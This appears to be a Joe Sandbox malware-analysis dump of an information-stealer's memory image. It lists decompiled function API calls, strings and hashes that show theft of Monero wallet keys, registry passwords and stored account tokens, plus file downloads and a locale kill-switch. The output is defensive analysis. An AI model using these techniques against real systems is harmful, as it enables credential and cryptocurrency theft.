Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: f7d717b590dc2b2fa2dd7e6340504c8e0ca432290549127938a2dccd713843d9
Instruction ID: ad9cabf4555c5163a99ed35bbaf6debbeae8c7d44d5c922c6c181c1479967bc5
Opcode Fuzzy Hash: f7d717b590dc2b2fa2dd7e6340504c8e0ca432290549127938a2dccd713843d9
Instruction Fuzzy Hash: 3D5121B1D5031997CB15FB60DD92FED77BCAB54300F4045E8B60AA20D1EE705B89CBA6

Function 00AF75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00AF733A
Part of subcall function 00AF72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00AF73B1
Part of subcall function 00AF72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00AF740D
Part of subcall function 00AF72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00AF7452
Part of subcall function 00AF72D0: HeapFree.KERNEL32(00000000), ref: 00AF7459

lstrcat.KERNEL32(00000000,00B117FC), ref: 00AF7606
lstrcat.KERNEL32(00000000,00000000), ref: 00AF7648
lstrcat.KERNEL32(00000000, : ), ref: 00AF765A
lstrcat.KERNEL32(00000000,00000000), ref: 00AF768F
lstrcat.KERNEL32(00000000,00B11804), ref: 00AF76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00AF76D3
lstrcat.KERNEL32(00000000,00B11808), ref: 00AF76ED
task.LIBCPMTD ref: 00AF76FB

Strings

: , xrefs: 00AF764E

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 17b6753de447f4b4cdf2019a3a0cbf51ea2286610bc5a293e4f9ed9aa9a09146
Instruction ID: b7fb4a1bfba5129443c6b6bc45dbe9e0d38e8a33207230ab4d3ff89a79aae206
Opcode Fuzzy Hash: 17b6753de447f4b4cdf2019a3a0cbf51ea2286610bc5a293e4f9ed9aa9a09146
Instruction Fuzzy Hash: 7D314C71A00209DFCB44EBF8DD96DFE77B8BB44301B144558F202E72A1DA35A946DB61

Function 00AF60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AF4839
Part of subcall function 00AF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AF4849

InternetOpenA.WININET(00B10DF7,00000001,00000000,00000000,00000000), ref: 00AF610F
StrCmpCA.SHLWAPI(?,018AFBE0), ref: 00AF6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00AF618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00AF61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00AF61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AF620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00AF6249
InternetCloseHandle.WININET(?), ref: 00AF6253
InternetCloseHandle.WININET(00000000), ref: 00AF6260

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: acfa47b9cf15b0efaa8eac80020cb73298953d92f8c6df1dfe47e30a96176116
Instruction ID: 9eeb897f49c6258203b949d14332194cd60c31afb61797608ace7e815f4199b0
Opcode Fuzzy Hash: acfa47b9cf15b0efaa8eac80020cb73298953d92f8c6df1dfe47e30a96176116
Instruction Fuzzy Hash: BB513FB1A0031CABDB20DF94DC49BEE77B8EB44701F108598B705A72C1DB75AA85CFA5

Function 00AF72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00AF733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00AF73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00AF740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00AF7452
HeapFree.KERNEL32(00000000), ref: 00AF7459
task.LIBCPMTD ref: 00AF7555

Strings

Password, xrefs: 00AF7401

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: abfde678ff1902ed890d3c9b3f3648a4564033cb724e80eaa9903c4f64f124ab
Instruction ID: dbbfebc7d0a6b08aa297cde6630ff530cc84daf29092d9b64524505375f0019a
Opcode Fuzzy Hash: abfde678ff1902ed890d3c9b3f3648a4564033cb724e80eaa9903c4f64f124ab
Instruction Fuzzy Hash: 66611BB590426C9BDB24DB94DD41BEAB7B8BF44300F0081E9F689A6181DB745BC9CFA1

Function 00AFBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

lstrlen.KERNEL32(00000000), ref: 00AFBC9F

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00AFBCCD
lstrlen.KERNEL32(00000000), ref: 00AFBDA5
lstrlen.KERNEL32(00000000), ref: 00AFBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00AFBBEB
AccountTokens, xrefs: 00AFBB49
AccountTokens, xrefs: 00AFBABA
AccountId, xrefs: 00AFBCC4

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 85854048a91a47817482815d657fe67cc50f87edeab87f6e3bc4fdd916f561a5
Instruction ID: 77c2235888b7e95894155bb44bcda8fefbb4e5f14ee774ae297ffca27449d213
Opcode Fuzzy Hash: 85854048a91a47817482815d657fe67cc50f87edeab87f6e3bc4fdd916f561a5
Instruction Fuzzy Hash: A3B10071910308ABDB04FBA4DD96EEE77B8AF54300F404999F506B61D1EF34AA49CB72

Function 00B06770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00B06774
ExitProcess.KERNEL32 ref: 00B067A5
ExitProcess.KERNEL32 ref: 00B067AF
ExitProcess.KERNEL32 ref: 00B067B9
ExitProcess.KERNEL32 ref: 00B067C3
ExitProcess.KERNEL32 ref: 00B067CD

Strings

*, xrefs: 00B0678C

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: af39321ef50b2be7f2329ba22f7ac36a399cb9a0717abc79306f25bee92429f6
Instruction ID: 2668bd5943b2e824482fc4102b42a53d1905a030ca1942abe77f8058f96b66e5
Opcode Fuzzy Hash: af39321ef50b2be7f2329ba22f7ac36a399cb9a0717abc79306f25bee92429f6
Instruction Fuzzy Hash: 73F05E72A04309EFD3449FE8E94972C7B70FB04703F040199E649C6390DA704F519BE6

Function 00AF4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00AF4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00AF4FD1
InternetOpenA.WININET(00B10DDF,00000000,00000000,00000000,00000000), ref: 00AF4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00AF5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00AF5041
InternetCloseHandle.WININET(?), ref: 00AF50B9
InternetCloseHandle.WININET(?), ref: 00AF50C6

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3a3b9ee6ad7c4e9b1992eb041d418fb3c7dc28b7a5673b3ba2dd9819af7c8d7c
Instruction ID: 0580d13ca69f7138c22d46f050cbc3e099e930e9e62716ec87d82a76ddcb8be1
Opcode Fuzzy Hash: 3a3b9ee6ad7c4e9b1992eb041d418fb3c7dc28b7a5673b3ba2dd9819af7c8d7c
Instruction Fuzzy Hash: F731E7B4A40218ABDB20CF54DC85BDCB7B4AB48704F5081D9BB09A7281CB706AC58FA9

Function 00B08100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,018AF110,00000000,?,00B10E2C,00000000,?,00000000), ref: 00B08130
RtlAllocateHeap.NTDLL(00000000), ref: 00B08137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B08158
wsprintfA.USER32 ref: 00B081AC

Strings

@, xrefs: 00B0814D
%d MB, xrefs: 00B081A3

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 0891cfd45e96e95f49737347e5fa7ff989f5b78417fdfd9bd6d5c8b0cdb1ae4f
Instruction ID: d7f138b1a4213a84f6d8e5cc82bf0db97a762e750fb880eeb3d998f64ef49a25
Opcode Fuzzy Hash: 0891cfd45e96e95f49737347e5fa7ff989f5b78417fdfd9bd6d5c8b0cdb1ae4f
Instruction Fuzzy Hash: FD21F9B1A44318ABDB00DFD4DC49FAEBBB8EB48B10F104549F605BB2C0D77859018BA5

Function 00B083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B08426
wsprintfA.USER32 ref: 00B08459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00B0847B
RegCloseKey.ADVAPI32(00000000), ref: 00B0848C
RegCloseKey.ADVAPI32(00000000), ref: 00B08499

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

RegQueryValueExA.ADVAPI32(00000000,018AF170,00000000,000F003F,?,00000400), ref: 00B084EC
lstrlen.KERNEL32(?), ref: 00B08501
RegQueryValueExA.ADVAPI32(00000000,018AEFD8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00B10B34), ref: 00B08599
RegCloseKey.ADVAPI32(00000000), ref: 00B08608
RegCloseKey.ADVAPI32(00000000), ref: 00B0861A

Strings

%s\%s, xrefs: 00B0844D

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e67fbe3f4d6e979edbbf86a7780854c617cfb17963ed1203904ab4c084da742c
Instruction ID: 7dc1756754412d825a8c3637de2ff0d1e4234281c362bbc355f5d7d1cc2ce8bb
Opcode Fuzzy Hash: e67fbe3f4d6e979edbbf86a7780854c617cfb17963ed1203904ab4c084da742c
Instruction Fuzzy Hash: 6121BA71A102189BDB64DB54DC85FE9B7B8FB48700F00C5D9A649A6280DF71AA85CFE4

Function 00B07690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B076A4
RtlAllocateHeap.NTDLL(00000000), ref: 00B076AB
RegOpenKeyExA.ADVAPI32(80000002,0189B9C8,00000000,00020119,00000000), ref: 00B076DD
RegQueryValueExA.ADVAPI32(00000000,018AF068,00000000,00000000,?,000000FF), ref: 00B076FE
RegCloseKey.ADVAPI32(00000000), ref: 00B07708

Strings

Windows 11, xrefs: 00B076BD

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
